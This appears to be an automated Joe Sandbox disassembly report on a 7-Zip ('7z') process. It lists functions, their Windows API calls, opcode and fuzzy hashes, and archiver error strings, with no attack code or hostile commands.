Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction ID: d001b0b98e0018996781478be73c38ea8e36938ef582684578763cdf943f32f5
Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction Fuzzy Hash: D9D0C772601D4581DB251F7ED84473C1355B765F74F184310DAB54A2D0DF258ADB8715

Function 00C48AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00C48B16

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction ID: 5e75b7225304518a58e9d3d2fe633f99615bf980a35c0eeb3ec8a8ae3501651b
Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction Fuzzy Hash: CED01776614684C6E7008F60E049B5AF764F388B64F484108EA8806768CBBCC19ACB00

Function 00C426A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C426C1

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs
String ID:
API String ID: 1795875747-0
Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction ID: 6fe982b8e0772d3b421eef4983eedea940dce52ba6fb1fd8d30a23fc8769b696
Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction Fuzzy Hash: D1D0A9D2710B0882DE109B26E8002692321BB98BC8F088121DE9E0B328EE2CD2498B00

Function 00C4794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00C4795E

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction ID: aa9e3a2d34e93ef1bf370c4e13bbb7c259e72851a96f571610612f754abd4c1a
Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction Fuzzy Hash: 75D0C775A0994581DB211F7994407641351AB64F74F284310C9B4493E0DF2985968711

Function 00C48BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE ref: 00C48BB7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction ID: b1f01b5b664b6cf5034d84e92791abacdb2ea03e56b97934d1e76bc45e011f6c
Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction Fuzzy Hash: C8B09220B12400C2DB0C6722D89631C13606788B21FE18429C50BD5650CD1C85EA4700

Function 00C73D58 Relevance: 1.3, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C73E2A

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorExceptionLastThrowmalloc
String ID:
API String ID: 2114622545-0
Opcode ID: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
Instruction ID: 6ec3b47c26a91260f81b3b34f6de529077ffa7407c7db48f38d7edd85c3fa67e
Opcode Fuzzy Hash: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
Instruction Fuzzy Hash: E5319C33201B8186DB159F25D588369B7A5FB94FE0F5885249BAE07764DF38CA55D300

Function 00C6373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C637FB

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction ID: 85d3c1dc3a12459d81215702ecbb324627154b2fe4476312f3f2c6138cb78d09
Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction Fuzzy Hash: 3F2128B370428096C734DA1AF88055B7694F749BA4F245225FE6A87794EB78CA42D780

Function 00C69078 Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,00C69B61), ref: 00C6911C

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrowmallocmemmove
String ID:
API String ID: 2847158419-0
Opcode ID: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction ID: 95249b1aff694b5ee1380625c3fb867fcf9436e217e4b865076fbe5a2dccf527
Opcode Fuzzy Hash: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction Fuzzy Hash: A3218137201B4485EB11DF1AE85472EB3A4F789FA8F698215EF6807394DF39C896D740

Function 00C4C90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C4C995

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction ID: 2636968b794348e375abb6f6fe0c611cdc06f2bc1b09fc5a1eb8b89ba7be5b54
Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction Fuzzy Hash: 73115072727651B7CBB08B6CD4D03387250F734790B544036DBDA87634EB6ACD969301

Function 00C73EE0 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00C6419C: free.MSVCRT ref: 00C641B9
Part of subcall function 00C6419C: free.MSVCRT ref: 00C641C5
Part of subcall function 00C6419C: free.MSVCRT ref: 00C641D1
Part of subcall function 00C6419C: free.MSVCRT ref: 00C641DD
Part of subcall function 00C6419C: free.MSVCRT ref: 00C641E6
Part of subcall function 00C6419C: free.MSVCRT ref: 00C641EF
Part of subcall function 00C6419C: free.MSVCRT ref: 00C641F8

free.MSVCRT ref: 00C73F45

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction ID: 738d5f7412002df38baa64eefe6387321c167b0b50d5e0208738f3f47dd5454c
Opcode Fuzzy Hash: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction Fuzzy Hash: CD014C73A21390CAC7219F1DC18116DBB64F759FE83689156EB5907760E732CC83C7A1

Function 00C48624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,?,00C4FF0B), ref: 00C486A9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction ID: f0330278ad28da1b7396c99c6e3f76712bc3c35a541b17851e1a31088e63ae26
Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction Fuzzy Hash: ED014B763562408AE710CF14C56C35E3BB0B7D5B68F140208DBA44B3D1C7BAC64ACB94

Function 00C4CB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C4CBA8

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction ID: 5c4eedcadffbfe36f692b78c17c652454c83eec2bb47672356c4119fed46a9ea
Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction Fuzzy Hash: 59F02B6231114887CB00DF7999C176C21A1FB58795FE0543DEF9687B11E938CCD9D764

Function 00C4CB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00C489D8: FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C489EA

GetLastError.KERNEL32 ref: 00C4CB49

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction ID: 4f912b500e1bae8281f1a90c286e786841ebb6018c7f30755575023a42b32e12
Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction Fuzzy Hash: 16D05B4175109487EB505BB95CD133C00C1F718756FD01539DD6BC6262E8188DCD732A

Function 00C43314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C43339

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction ID: 3a58ed44aec5f936aef3b864baacff28a43d72287da3c1b62a7d3ca087a2b1b0
Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction Fuzzy Hash: E3D0A7A67406D887CA04AF27D68251DA321EB8CFD4748D0249F090B70ADE30CCE5C750

Function 00C4CDF4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4CE0D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction ID: f8c393daa5d7a6458d89090175cdfaca11db057aa4ff73ef0c241eadbc4206a1
Opcode Fuzzy Hash: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction Fuzzy Hash: DCC08C017C328802CA49222B2FC733C02522F8ABE1E8C5020AE480BB63DE548CE29700

Non-executed Functions

Function 00C4F1B4 Relevance: 79.1, APIs: 39, Strings: 6, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

free.MSVCRT(?,?,?,?,?,?,?,?,?,00000000,00000000,?,00000000,?,00000000,00C504E1), ref: 00C4F201
free.MSVCRT(?,?,?,?,?,?,?,?,?,00000000,00000000,?,00000000,?,00000000,00C504E1), ref: 00C4F23D

Strings

Map data error, xrefs: 00C4F58D
Can not open mapping, xrefs: 00C4F33E
Incorrect Map command, xrefs: 00C4F206, 00C4F242
MapViewOfFile error, xrefs: 00C4F3C9
Unsupported Map data size, xrefs: 00C4F665
Unsupported Map data, xrefs: 00C4F464

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID: Can not open mapping$Incorrect Map command$Map data error$MapViewOfFile error$Unsupported Map data$Unsupported Map data size
API String ID: 1534225298-798110030
Opcode ID: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
Instruction ID: 4b58244ddd60ba9077154571ef2581c9e7ecd491e3f1dae7aceaa00a7474bdb0
Opcode Fuzzy Hash: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
Instruction Fuzzy Hash: 15C17072214A8086DB10EF11F881B5EB761FBC5B90F945139FA8F43A68DF78C986CB44

Function 00C72578 Relevance: 45.3, APIs: 36, Instructions: 335COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C72578
free.MSVCRT ref: 00C7257A
free.MSVCRT ref: 00C7258B
free.MSVCRT ref: 00C7259C
free.MSVCRT ref: 00C725AD
free.MSVCRT ref: 00C725BA
free.MSVCRT ref: 00C7279A
free.MSVCRT ref: 00C727A7
free.MSVCRT ref: 00C727B4
free.MSVCRT ref: 00C727C1

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 09bc4f2532211b0a1dcd74d5bcbdcf73cd8d77d2c3735b1cacf78fea39811e06
Instruction ID: ed474d08ce55461339ef0f367ca52d28840c327921f40ab6786d758228b54d7f
Opcode Fuzzy Hash: 09bc4f2532211b0a1dcd74d5bcbdcf73cd8d77d2c3735b1cacf78fea39811e06
Instruction Fuzzy Hash: 45D15E76208AC481CA74DF26E461AAE7770F7C6B94F41A142EF9E53B25CF38C985DB04

Function 00C83528 Relevance: 35.5, APIs: 19, Strings: 1, Instructions: 472stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C835A7

Part of subcall function 00C42320: free.MSVCRT ref: 00C4237E
Part of subcall function 00C42320: fputs.MSVCRT ref: 00C423B8
Part of subcall function 00C42320: free.MSVCRT ref: 00C423C4

fputs.MSVCRT ref: 00C835D8
fputs.MSVCRT ref: 00C83609
fputs.MSVCRT ref: 00C836BF
fputs.MSVCRT ref: 00C8373F

Part of subcall function 00C75680: free.MSVCRT ref: 00C75737
Part of subcall function 00C75680: free.MSVCRT ref: 00C75907
Part of subcall function 00C75680: free.MSVCRT ref: 00C75911

free.MSVCRT ref: 00C8370F
fputs.MSVCRT ref: 00C837CB
fputs.MSVCRT ref: 00C8391B
strlen.MSVCRT ref: 00C83929
memset.MSVCRT ref: 00C8395E
fputs.MSVCRT ref: 00C839B1
strlen.MSVCRT ref: 00C839BF
memset.MSVCRT ref: 00C839EE
fputs.MSVCRT ref: 00C83AC1
strlen.MSVCRT ref: 00C83AE4
memset.MSVCRT ref: 00C83B1C
memmove.MSVCRT ref: 00C83B3E
memset.MSVCRT ref: 00C83B56
strlen.MSVCRT ref: 00C83B62

Strings

data:, xrefs: 00C83738

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free$memset$strlen$memmove
String ID: data:
API String ID: 527563900-3222861102
Opcode ID: 4b6c5f9cdd3633745e31563a8c4377074848a1f4c9f847770a3d002162f2b606
Instruction ID: eece62597b4b675fdb40894d99c11147fc327a668e8ba0aa1b88fe25515b994d
Opcode Fuzzy Hash: 4b6c5f9cdd3633745e31563a8c4377074848a1f4c9f847770a3d002162f2b606
Instruction Fuzzy Hash: B9024872308AC187DB20EF25E8917AE7760F395B8CF447115EE5A07668DF38CA4AC748

Function 00C7FA0C Relevance: 26.7, APIs: 12, Strings: 3, Instructions: 489COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C7FAAC
free.MSVCRT ref: 00C7FAC0
free.MSVCRT ref: 00C7FC43

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

Part of subcall function 00C7F820: _CxxThrowException.MSVCRT ref: 00C7F88D

free.MSVCRT ref: 00C80031

Part of subcall function 00C7F8B8: memmove.MSVCRT ref: 00C7F91E
Part of subcall function 00C7F8B8: free.MSVCRT ref: 00C7F926

Part of subcall function 00C7F93C: memmove.MSVCRT ref: 00C7F992
Part of subcall function 00C7F93C: free.MSVCRT ref: 00C7F99A

free.MSVCRT ref: 00C800EA
free.MSVCRT ref: 00C800F2
free.MSVCRT ref: 00C80101
free.MSVCRT ref: 00C8010A
free.MSVCRT ref: 00C80113
free.MSVCRT ref: 00C80121
_CxxThrowException.MSVCRT ref: 00C80184

Strings

Duplicate filename in archive:, xrefs: 00C80149
Internal file name collision (file on disk, file in archive):, xrefs: 00C8015D
Duplicate filename on disk:, xrefs: 00C7FCB4

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memmove$mallocmemset
String ID: Duplicate filename in archive:$Duplicate filename on disk:$Internal file name collision (file on disk, file in archive):
API String ID: 3338823681-819937569
Opcode ID: 05e571fda14d9d8926fc305dd0170e713781fc1b859d5d94d2c1757528fd9615
Instruction ID: b8c40acedefb1a4cfd1b07a572165921ddd98b3694fb520fa501ece15344ea9b
Opcode Fuzzy Hash: 05e571fda14d9d8926fc305dd0170e713781fc1b859d5d94d2c1757528fd9615
Instruction Fuzzy Hash: 6712957321868487C720DF16E48065EB7A1F389B94F509629EFAE47B58CF38D996DF00

Function 00C5AF58 Relevance: 11.7, APIs: 9, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb9012123f2ce8eb073f9b3624da2f3a3289b8457f20c18abc7480cb7118cc2
Instruction ID: b89217624c5c58ceb5bbb9fbfc478038d0a3d01f9431eb6d162f80be401e1c9f
Opcode Fuzzy Hash: 1eb9012123f2ce8eb073f9b3624da2f3a3289b8457f20c18abc7480cb7118cc2
Instruction Fuzzy Hash: 49028E36209B8186DB24DF26E4903AEB761FBC5B85F544122DF8E57B68DF38C988C744

Function 00C48F18 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 142COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32 ref: 00C48F7A
DeviceIoControl.KERNEL32 ref: 00C4905E
DeviceIoControl.KERNEL32 ref: 00C490B5
DeviceIoControl.KERNEL32 ref: 00C490F6

